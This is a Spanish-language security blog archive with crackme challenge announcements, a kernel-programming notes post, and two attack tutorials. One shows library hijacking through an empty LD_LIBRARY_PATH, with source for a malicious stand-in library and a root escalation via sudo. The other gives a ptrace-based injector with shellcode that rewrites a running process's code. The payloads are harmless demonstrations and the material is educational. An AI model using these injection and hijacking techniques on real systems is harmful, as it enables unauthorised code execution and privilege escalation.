Archivo

Archivo para la Categoría "Linux"

Linux Cracking Series (LCS): lincrackme3

cracking

Find the keys

¡Buenas! Este lunes festivo he aprovechado y os traigo la nueva entrega de la LCS (Linux Cracking Series) con lincrackme3. El anterior ha recibido ya varias soluciones en crackmes.de, pero aún dejaré unos días antes de publicar la mía (con el código fuente y las explicaciones). También comentaré las más interesantes de las que se han publicado allí.

Los que no consiguierais solucionar el anterior, no os preocupéis, intentad este, y en unos días trataré de tener la explicación del anterior, que os servirá como base para abordar el nuevo. También podéis preguntarme vuestras dudas directamente.

Lincrackme3 es algo más difícil que lincrackme2, obviamente. Incluye técnicas anti depuración, anti desensamblado y también algún truco para que el análisis del flujo de código no sea tan sencillo. Aún así, creo que no es demasiado complicado, y que está al alcance de casi todo el que le dedique un rato.

Lincrackme 3

El objetivo de este crackme es encontrar las técnicas de anti depuración y anti desensamblado, entenderlas y averiguar cómo sortearlas. Una vez conseguido, tendréis que comprender cómo se comprueban las claves para encontrar varias claves válidas (idealmente, programad un sencillo keygen y me haréis feliz). El .tgz incluye una versión para 32 bits y una versión para 64 bits. La versión de 32 debería funcionar en ambos sistemas, pero por si acaso, he decidido crear las dos.

Objetivo: Obtener las claves válidas (escribir un keygen para sobresaliente). Encontrar las protecciones y sortearlas.
Nivel: 3 (Getting harder) según clasificación de crackmes.de
Plataforma: GNU/Linux 32 y 64 bits
Reglas: Parchear el binario no está permitido, salvo para saltarse alguna protección anti depuración o desensamblado. El objetivo no es imprimir el mensaje de clave correcta, si no obtener las claves válidas. Las herramientas a utilizar, así como la plataforma son completamente libres.

Podéis descargar el crackme aquí y también en mi página de crackmes.de (en cuanto lo aprueben, yo siempre os lo traigo en primicia ;) . Como siempre, os animo a que lo intentéis, y si os quedáis atascados en algún punto podéis contactarme en los comentarios (si no da pistas al resto) o bien por email (lo tenéis en About). Prometo ayudaros y daros las pistas necesarias para que disfrutéis del reto :) Eso sí, para que todos puedan disfrutarlo, no pongáis las claves en los comentarios, por favor.

Pasado un tiempo prudencial publicaré mi solución a este reto (código, imágenes…) y comentaré las más interesantes de entre las que reciba, así que ya sabéis, ¡espero vuestras soluciones!

Categorías:cracking, Linux, Reverse Etiquetas: , ,

Linux Cracking Series: Lincrackme2

10/10/2010 1 Comentario

Aquí estamos otra vez, para tratar de traer algo interesante. La verdad es que he dejado un par de entradas a medias que ya terminaré, pero ese es otro asunto. En esta nueva serie que iniciamos hoy, pretendo mostrar algo más sobre reversing/cracking en Linux. Puede parecer algo poco útil, pero la verdad es que existen muchas aplicaciones cuyo código fuente no está disponible, aparte  de los CTF u otros concursos donde podréis aplicar estos conocimientos.

La filosofía del “curso” va a ser la de aprender a través de ejemplos, concretamente de crackmes/keygenmes. Se irá de más fácil a más difícil, y se dejará un tiempo entre uno y otro para que pueda recibir soluciones de la gente que esté interesada. Publicaré mi propia solución detallada -incluyendo código fuente-, explicando paso a paso todos los problemas y cómo solventarlos para que nadie se pierda, y si alguna solución es especialmente buena o ingeniosa y el autor está de acuerdo, también se publicará en el blog. Los crackmes se publicarán aquí y, si sus moderadores lo aprueban (ya ha sido aprobado), también en http://crackmes.de/users/adrianbn. Podréis enviar las soluciones a través de esa web o directamente a mí a adrianbn[_en_]gmail[_punto_]com.

Si nunca habéis utilizado ningún debugger, ni tenéis unos conocimientos básicos de ensamblador, entonces esta serie -de momento- no es para vosotros. Si habéis seguido el blog, deberíais ser capaces de resolver los crackmes con mayor o menor esfuerzo. Si con los resultados a la vista, resulta ser demasiado complicado, ampliaré la serie hacia ambos sentidos; hacía cosas más fáciles y hacia cosas más difíciles. Todo este feedback me lo podéis dar bien a través de los comentarios, por correo electrónico directamente a mí, o en los comentarios de crackmes.de.

Lincrackme2

El objetivo de este crackme es identificar y sortear la(s) proteccion(es) anti depuración que tiene implementadas. El crackme también lleva alguna protección anti desensamblado, para tratar de que os centréis en conseguir depurar el programa. No obstante, si a alguien le resulta más fácil pelear contra las técnicas de anti desensamblado, puede hacerlo, aunque le recomiendo que se fije en las protecciones anti depuración, que es en lo que se centrarán los primeros crackmes.

Objetivo: Obtener el único código válido. Identificar las protecciones y sortearlas.
Nivel: 2 (Needs a little brain, or luck), de acuerdo a la clasificación de crackmes.de.
Plataforma: GNU/Linux 32 y 64 bits.
Reglas: Parchear el binario no está permitido salvo como último recurso (ultimísimo, ¿eh?). No pongáis la clave en los comentarios, por favor, así todos podrán intentarlo. Podéis utilizar cualquier herramienta en cualquier plataforma.

Podéis descargar el crackme aquí y en mi página de crackmes.de (en cuanto sea aprobado).

Animaos a intentarlo, yo prometo ayudar y/o dar pistas si os quedáis atascados en algún punto. Tenéis mi email para contactarme si los detalles dan muchas pistas a otros usuarios, y los comentarios para cosas más generales. ¡Espero vuestras soluciones!

 

Categorías:cracking, Linux, Reverse Etiquetas: , , , ,

DLL Hijacking Linux (Windows like)

31/08/2010 19 comentarios

Mucho se ha hablado (y el revuelo ha sido enorme) estos días sobre un “fallo/feature/vulnerabilidad” en la forma en la que Windows busca las librerías compartidas (DLL) que necesita un ejecutable. El problema viene cuando los programadores no indican la ruta completa de la librería requerida. En esa situación, un atacante podría conseguir que se cargara su DLL maliciosa, colocándola en el directorio desde el cual se lanza la aplicación vulnerable. Por poner un escenario de ejemplo, si un atacante lograse incitar a un usuario a ejecutar una aplicación “confiable” desde un directorio compartido (network share) en el que previamente ha colocado su DLL maliciosa, el ejecutable cargaría ésta en lugar de la original. Se han encontrado multitud de aplicaciones vulnerables (incluídas algunas de Microsoft).

Como suele ser también habitual, han saltado aquellos que dicen que estas cosas en Linux no pasan porque es más seguro o porque el Dios protector del Pingüino estelar vela por nosotros. En cualquier caso, la realidad es que existe un comportamiento “similar” en Linux, y de eso es de lo que vamos a hablar en esta entrada. Quiero dejar claro que no se trata de algo que yo haya descubierto. Más bien es algo que se conoce desde hace tiempo, y que me ha parecido interesante traer de nuevo a la palestra visto el impacto que ha causado en Windows.

Update: Recientemente se ha comentado esto mismo en Full Disclosure, aunque con menos detalle ;) Eso sí, han aportado una búsqueda en Google Code para localizar posibles aplicaciones vulnerables.
Update 2: “Recientemente” tenía sentido en el momento de escribir el post, aunque algo menos cuando se ha publicado.

LD_LIBRARY_PATH

La variable de entorno LD_LIBRARY_PATH indica al linker (ld) las rutas en las que debe buscar las librerías dinámicas (shared objects en linux).  La posición dentro de la variable es relevante, ya que el linker busca las librerías en el orden en el que aparecen listadas en la variable, y por último en los directorios por defecto (/lib, /usr/lib, …). Para que quede claro, estas dos líneas darán como resultado un orden de búsqueda diferente:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app
export LD_LIBRARY_PATH=/usr/share/app:$LD_LIBRARY_PATH

En la primera, se buscará primero en el contenido previo de LD_LIBRARY_PATH, después en /usr/share/app, y por último en los directorios por defecto. Sin embargo, en la segunda, se buscará en primer lugar en /usr/share/app, posteriormente en lo que contenga LD_LIBRARY_PATH y finalmente en los directorios por defecto. Para el caso que nos ocupa, nos interesa la primera línea.

El linker tiene un comportamiento “extraño” y que da lugar a la situación que veremos a continuación. Lo que sucede es que el linker traduce un LD_LIBRARY_PATH vacío por $PWD. Como ya estáis intuyendo, y como habréis visto en cientos de scripts, tendremos un problema si se utiliza la línea que vimos antes:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app

Esto es, si llegado a ese punto del script la variable LD_LIBRARY_PATH es vacía, el linker la sustituirá por $PWD, abriendo la posibilidad a un DLL hijacking o binary planting. Como en el caso de Windows, hay que encontrar aplicaciones vulnerables y lograr que el usuario las invoque desde un directorio que controlemos para poder llevar a cabo el ataque. Como en este blog no nos gusta mucho la teoría, he preparado un ejemplo sencillo para que se entienda mejor.

Hands On

El ejemplo consta de los siguientes ficheros:

  • /bin/app: El binario de la aplicación, que utiliza applib.so para mostrar un mensaje por pantalla. Creado desde app.c
  • /usr/share/app/applib.so: La librería que contiene la función para mostrar el mensaje. Creado desde applib.c
  • /etc/init.d/app.sh: El script de inicio de la aplicación, que prepara el entorno y la invoca (fija LD_LIBRARY_PATH)
  • /tmp/applib.so: Librería maliciosa, creada desde fakelib.c, situada en un directorio controlado por el atacante y desde donde el usuario invocará la aplicación original.

Aquí está el código de estos ficheros, para que podáis descargarlo y probarlo vosotros mismos.

La aplicación (app.c):


#include <stdlib.h>

int main(void){
 // do stuff
 my_printf("im a cool app doing fancy things\n");
 // more great stuff
}

La librería de funciones (applib.c):


#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int my_printf(const char *format, ...){
 write(2, format, strlen(format));
}

El script de arranque (app.sh):


#!/bin/sh

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app

/bin/app

Y por último, la librería maliciosa, fakelib.c:


#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

int my_printf(const char *format, ...){
 write(2, "Hijacked : )\n", 13);
 exit(0);
}

Pasamos entonces a compilar y fijar la aplicación y las librerías en su sitio correspondiente:


adrian@Orion-virt:~$ gcc -c app.c
adrian@Orion-virt:~$ gcc applib.c -fPIC -shared -o applib.so
adrian@Orion-virt:~$ gcc -o app applib.so app.o
adrian@Orion-virt:~$ ./app
im a cool app doing fancy things

adrian@Orion-virt:~$ sudo mkdir /usr/share/app
adrian@Orion-virt:~$ sudo mv applib.so /usr/share/app
adrian@Orion-virt:~$ sudo mv app /bin/
adrian@Orion-virt:~$ sudo vim /etc/init.d/app.sh
adrian@Orion-virt:~$ vim fakelib.c
adrian@Orion-virt:~$ gcc -fPIC -shared -o applib.so fakelib.c
adrian@Orion-virt:~$ mv applib.so /tmp/

Con todas las piezas situadas en su sitio, si ejecutamos la aplicación desde un directorio seguro, funcionará como esperamos. Pero si cambiamos de directorio a uno controlado por el atacante (donde esté fakelib) el linker cargará la librería maliciosa y obtendremos un mensaje diferente:


adrian@Orion-virt:~$ /etc/init.d/app.sh
im a cool app doing fancy things
adrian@Orion-virt:~$ cd /tmp/
adrian@Orion-virt:/tmp$ /etc/init.d/app.sh
Hijacked : )
adrian@Orion-virt:/tmp$ sudo /etc/init.d/app.sh
Hijacked : )

Como se puede ver, el “ataque” funciona. Y es más, puede servir para escalar privielgios o ejecutar código como root, porque si bien es cierto que sudo elimina (unset) las variables de entorno antes de elevar privilegios, esta acción se realiza antes de que el script rellene LD_LIBRARY_PATH con un nuevo valor.

Personalmente entiendo la comodidad de sustituir un LD_LIBRARY_PATH vacío por $PWD, pero quizá, salvo petición expresa, $PWD debería chequearse en último lugar (salvo que se haya añadido al LIBPATH a mano). Aún así, el fallo real es culpa del programador, que debería comprobar si LD_LIBRARY_PATH está vacía antes de asignarle un valor. Algo como esto solucionaría la vulnerabilidad en nuestra pequeña aplicación:

#!/bin/sh

if [ -n "${LD_LIBRARY_PATH+x}" ]; then
 export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/share/app
else
 export LD_LIBRARY_PATH=/usr/share/app
fi

/bin/app

Espero que la vuelta de vacaciones no sea muy dura. Cualquier comentario o aportación es bienvenido :)

Inyección de memoria en Linux I

17/05/2010 3 comentarios

Normalmente estoy haciendo varias cosas a la vez, y relacionado con una de ellas estuve probando formas de inyectarme dentro de la memoria de otro proceso y forzarlo a ejecutar el código que yo quiera. Aunque tenemos varias cosas a medias en el blog (parte de la serie exploiting y otras cosas), he decidido contar un poco este tema, que aunque es antiguo y muy conocido, no deja de ser interesante. Nota: todo el código mostrado a continuación es para plataformas de 32 bits, para adaptarlo a 64 bits sería necesario modificar los accesos a regs.eip por regs.rip y el ensamblador ligeramente.

Vamos con ello entonces. En esta entrada vamos a servirnos de la API de depuración que ofrece el kernel para controlar otro proceso, y una vez hecho, le forzaremos a ejecutar nuestro código. En Linux, esta API es ptrace, que es usada por los depuradores como gdb para inspeccionar y modificar a un proceso. Básicamente lo que hace ptrace es convertirnos en el padre del proceso elegido, y pararlo para que podamos examinarlo. Como debería resultar evidente -esas mentes calenturientas que se detengan ya-, no es posible attachearse a un proceso que no nos pertenezca, salvo que seamos root, en cuyo caso sí. Esto quiere decir que si podemos realizar un PTRACE_ATTACH con éxito sobre un proceso dado podremos controlarlo. En esta primera parte, para no complicarnos, haremos un proceso víctima sobre el que inyectaremos código. Nuestro proceso hará lo siguiente:


#include <stdio.h>
#include <unistd.h>

int main(int argc, char** argv){
 int v = 5;

 while (1){
 printf("El sentido de la vida es %d\n", v);
 sleep(1);
 }
 return 0;
}

Se queda en un bucle infinito mostrando por pantalla, cada segundo, un mensaje (equivocado) acerca del sentido de la vida. Nuestra misión por tanto será hacer que diga la verdad y que se calle para siempre :P

Qué inyectar y cómo hacerlo

Evidentemente, para inyectar código en ejecución, necesitamos que ese código esté en un lenguaje que el procesador sea capaz de comprender, algo similar a lo que sucede con una shellcode. Del mismo modo que con las shellcodes, necesitamos que el código sea independiente de la posición, ya que no podemos garantizar dónde se inyectará. En nuestro caso, queremos que la víctima muestre un mensaje y salga, así que nuestro código podría ser algo como lo siguiente:


BITS 32

 xor eax, eax
 ;ssize_t write(int fd, const void *buf, size_t num);
 mov al, 4    ;write es la syscall 4
 xor ebx, ebx ; limpiamos ebx, por lo que pudiera contener en el momento de la inyección
 inc ebx          ; 1 es el descriptor de salida estándar
 jmp short data ; saltamos para poder hacer call hacia arriba y evitar null bytes
back:
 xor ecx, ecx  ; limpiamos por si acaso
 mov ecx, [esp] ; colocamos la dirección de la cadena
 xor edx, edx     ; limpiamos por si acaso
 mov dl, 28        ; colocamos la longitud de la cadena
 int 0x80           ; llamada al sistema operativo

 ;void _exit(int status);
 xor eax, eax     ; limpiamos
 inc eax               ; exit es la syscall 1
 xor    ebx, ebx  ; exit status = 0
 int 0x80

data:
 call     back ; metemos en la pila la dirección de la cadena
 db    "El sentido de la vida es 42",0x0a   ; Este sí que es el sentido de la vida

Para los que este código os suene a chino, echadle un ojo a las entradas sobre shellcodes (I, II) y lo entenderéis. Aunque no es necesario eliminar los null bytes para este propósito, me he tomado la molestia de hacerlos, ya que así podré utilizar strlen sobre la cadena resultante. En el programa inyector, colocaremos este código tras ensamblarlo con nasm, igual que hicimos en los exploits con las shellcodes. Es importante limpiar los registros antes de utilizarlos, sobretodo si se van a realizar operaciones sobre las partes altas o bajas (al, dl…) ya que no afectan al contenido del resto del registro y puede quedar “basura” que estuviera usando la víctima antes de la inyección. Para ensamblarlo bastará con lo siguiente:


adrian@Andromeda:~/projs/injection$ nasm icode.S

Y podemos ver el contenido en código máquina (que colocaremos en el programa inyector), con hexdump.


adrian@Andromeda:~/projs/injection$ hexdump -C icode
00000000  31 c0 b0 04 31 db 43 eb  12 31 c9 8b 0c 24 31 d2  |1...1.C..1...$1.|
00000010  b2 1c cd 80 31 c0 40 31  db cd 80 e8 e9 ff ff ff  |....1.@1........|
00000020  45 6c 20 73 65 6e 74 69  64 6f 20 64 65 20 6c 61  |El sentido de la|
00000030  20 76 69 64 61 20 65 73  20 34 32 0a              | vida es 42.|

Ahora que ya tenemos listo lo que queremos inyectar y lo hemos preparado de una forma que funcione correctamente, vamos a ver el programa que hará el trabajo.

Inyectando

A continuación se muestra el programa (una POC, para hacerlo fiable y eficiente habría que añadirle algunas cosas). Leedlo por encima, y ahora comentaremos las partes más importantes.


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <string.h>
#include <sys/user.h>
#include <signal.h>
#include <errno.h>

// Código máquina a inyectar, ensamblado con nasm desde el ASM que vimos antes
unsigned char code[]=
 "\x31\xc0\xb0\x04\x31\xdb\x43\xeb\x12\x31\xc9\x8b\x0c\x24\x31\xd2"
 "\xb2\x1c\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe9\xff\xff\xff"
 "\x45\x6c\x20\x73\x65\x6e\x74\x69\x64\x6f\x20\x64\x65\x20\x6c\x61"
 "\x20\x76\x69\x64\x61\x20\x65\x73\x20\x34\x32\x0a";

int main(int argc, char** argv){
 pid_t pid;
 int i;
 struct user_regs_struct regs;

 if (argc != 2){
 printf("Usage: %s <process id>\n",argv[0]);
 exit(1);
 }

 pid = (pid_t)atoi(argv[1]);

 printf("[?] Attaching to process %d...\n",pid);
 if (ptrace(PTRACE_ATTACH, pid,0,0) < 0){
 perror("[!] ptrace: ATTACH");
 exit(1);
 }
 printf("[+] Succesfully attached!\n");

// Esperamos para asegurarnos de que el proceso se ha parado
 wait(NULL);

 printf("[?] Getting register information for the process...\n");
 if (ptrace(PTRACE_GETREGS, pid, 0, &regs) < 0){
 perror("[!] ptrace: GETREGS");
 exit(1);
 }
 printf("[+] Got eip pointing at 0x%x\n", (unsigned int)regs.eip);

 printf("[?] Injecting code at eip...\n");
 for (i=0;i<strlen(code);i++){
 if (ptrace(PTRACE_POKEDATA, pid, regs.eip+i,*(unsigned char*)(code+i))) {
 perror("[!]ptrace: POKEDATA");
 exit(1);
 }
 }

 printf("[+] Code injected succesfully!\n[?] Detaching...\n");
 if (ptrace(PTRACE_DETACH, pid, 0, SIGCONT) == -1){
 if (errno != ESRCH){
 // no debería suceder
 perror("[!] Detach: ");
 exit(1);

 }
 // deberia comprobarse que el proceso existe,
 // si existe, debería pararse con SIGSTOP antes del
 // detach. Si está parado por otra señal, hacerlo continuar
 // y pararlo... y teniendo en cuenta threads y grupos...
 // pero esto es una POC :P
 kill(pid, SIGCONT);
 }
 printf("[+] Done!\n");
 return 0;
}

En primer lugar, perdonadme por el spanglish. Los comentarios los he puesto en castellano para que se entienda mejor el código, si bien los mensajes los estaba poniendo en inglés por si hacía una versión mejorada del programa, que pudiera usarlo más gente. Explicamos el asunto. La variable code, contiene el programa que vimos antes en ensamblador, pero ya pasado por nasm, es decir, en código máquina, de tal forma que pueda ejecutarse directamente donde lo copiemos. La estructura user_regs_struct está definida en <sys/user.h> y contiene los registros del procesador. La usaremos para leer del proceso víctima el EIP, e inyectar allí nuestro código.

Lo primero que hacemos es engancharnos al proceso cuyo pid hemos recibido como parámetro, mediante la orden ptrace(PTRACE_ATTACH, pid, 0, 0). Al realizar un ATTACH, los dos últimos parámetros de ptrace (data, y addr) son ignorados, por lo que los pondremos a cero. Esto nos convierte en el padre del proceso pid, y lo detiene. Sin embargo, es posible que al terminar la llamada a PTRACE_ATTACH, el proceso aún no se haya detenido, por lo que nos aseguramos de ello con un wait. Una vez que el proceso se ha detenido, leemos sus registros del procesador con ptrace(PTRACE_GETREGS, pid, 0, &regs) y los almacenamos en regs. De ahí extraeremos el EIP, y en el bucle siguiente, escribiremos nuestro código donde apunta EIP (para que se ejecute en cuanto el proceso continúe), con ptrace(PTRACE_POKEDATA, pid, regs.eip+i,*(unsigned char*)(code+i)). POKEDATA escribe en el espacio de memoria del proceso pid, en la dirección (regs.eip+i), el valor de (code+i).

Si todo ha ido bien, lo siguiente que deberíamos hacer es desengancharnos del proceso y que continúe su ejecución. Para ello, usaremos ptrace(PTRACE_DETACH, pid, 0, SIGCONT). Esto nos desenganchará y hará que el proceso continúe desde donde fue detenido (donde hemos inyectado nuestro código). En un entorno “real”, serían necesarias muchas más consideraciones a la hora de desengancharse del proceso. Por ejemplo, si el proceso está en un grupo (es un thread), el tratamiento de las señales es un poco más esquivo, y hay que hacerlo con más cuidado. Del mismo modo, Linux fuerza a que el proceso esté detenido por SIGSTOP para poder desengancharte, por lo que debe comprobarse si esto es así, y de no serlo, hacer que continúe hasta que se pare por SIGSTOP, y entonces desengancharte. Existen otros pequeños detalles a tener en cuenta, pero no son demasiado relevantes para esta pequeña introducción.

El resultado de todo esto es el siguiente.

Inyección de memoria

Enseñandole el verdadero sentido de la vida

Muy bien, ¿y todo esto para qué sirve? Pues aparte de para programar un depurador (gdb, strace…) para cosas más interesantes, que veremos en la siguiente entrada ;) Hasta entonces, cualquier aportación, tenéis los comentarios.

Todo kernel tiene sus cosas

20/03/2010 2 comentarios

linux jediHoy estaba charlando con un compañero y a raiz de la conversación me he acordado de que no todo el mundo es consciente de las peculiaridades que tiene desarrollar el kernel (o parte) de un sistema operativo, concretamente Linux. Al volver a casa he buscado en el libro de Robert Love “Linux Kernel Development” porque estaba seguro de que tenía un pequeño apartado en el que describía algunas de estas “cosas” especiales que tiene desarrollar en el kernel. Os las pongo aquí y añado alguna cosa de cosecha propia:

Ausencia de glibc

El kernel de Linux no está linkado contra libc, principalmente por motivos de eficiencia y de tamaño, pero también por evitar situaciones del tipo “qué fue antes, el huevo o la gallina”; es decir, dependencias cíclicas entre el kernel y la librería. Para que los programadores del kernel no sufran (demasiado) muchas de las funciones más utilizadas de libc se han implementado directamente en el kernel. Este es el caso de printk (sustituyendo a printf).

Ausencia de protección de memoria

A diferencia del espacio de usuario, donde el kernel controla que un proceso no acceda a posiciones de memoria que no le pertenecen, nadie vigila que el kernel no lo haga (who watches watchmen?). Esto quiere decir que los accesos erróneos de memoria dentro del kernel son especialmente desastrosos. Normalmente resultan en un oops, que viene siendo un error mayor del kernel. Cabe resaltar también que la memoria del kernel no es paginable/swappable, por lo que cada byte adicional de memoria que consume es un byte menos disponible de memoria física.

Dificultades con el punto flotante

Una aplicación en espacio de usuario que desee usar punto flotante normalmente provoca un trap, que es capturada por el kernel y realiza una serie de acciones para cambiar el modo de entero a punto flotante. Como es evidente, el kernel no puede trapearse a sí mismo, por lo que el programador debería salvar y restaurar manualmente los registros de punto flotante (entre otras cosas). Por estos motivos no existe punto flotante en el kernel.

Kernel Stack mínima

La pila del kernel es estática (a diferencia de la pila de usuario) y de pequeño tamaño. Normalmente la pila del kernel es de un tamaño de dos páginas, lo que suponen 8Kbs en sistemas de 32 bits y 16Kbs en los de 64.

Sincronización

El problema de la concurrencia y la sincronización dentro del kernel adquiere un nuevo significado. Puesto que el kernel es interrumpible (preemtive), el propio kernel puede ser expropiado en favor de otro proceso que ejecute el mismo código. Sin el control adecuado las estructuras del kernel podrían verse afectadas y provocar un malfuncionamiento.

Estos son sólo algunos de los aspectos que diferencian la programación dentro del kernel de la programación en espacio de usuario. No hay que olvidar que el kernel es un programa tremendamente grande e interconectado, y que por su peculiar función tiene segmentos de código realmente complejos y que pueden fundir el cerebro de más de un programador.

Sea como sea, que no os de miedo el kernel, animaos a echarle un vistazo y a programar en él; nunca hay suficientes desarrolladores del kernel ;)

[+] http://www.kernel.org/pub/linux/docs/lkml

Categorías:Linux, Programación Etiquetas: , ,
Seguir

Get every new post delivered to your Inbox.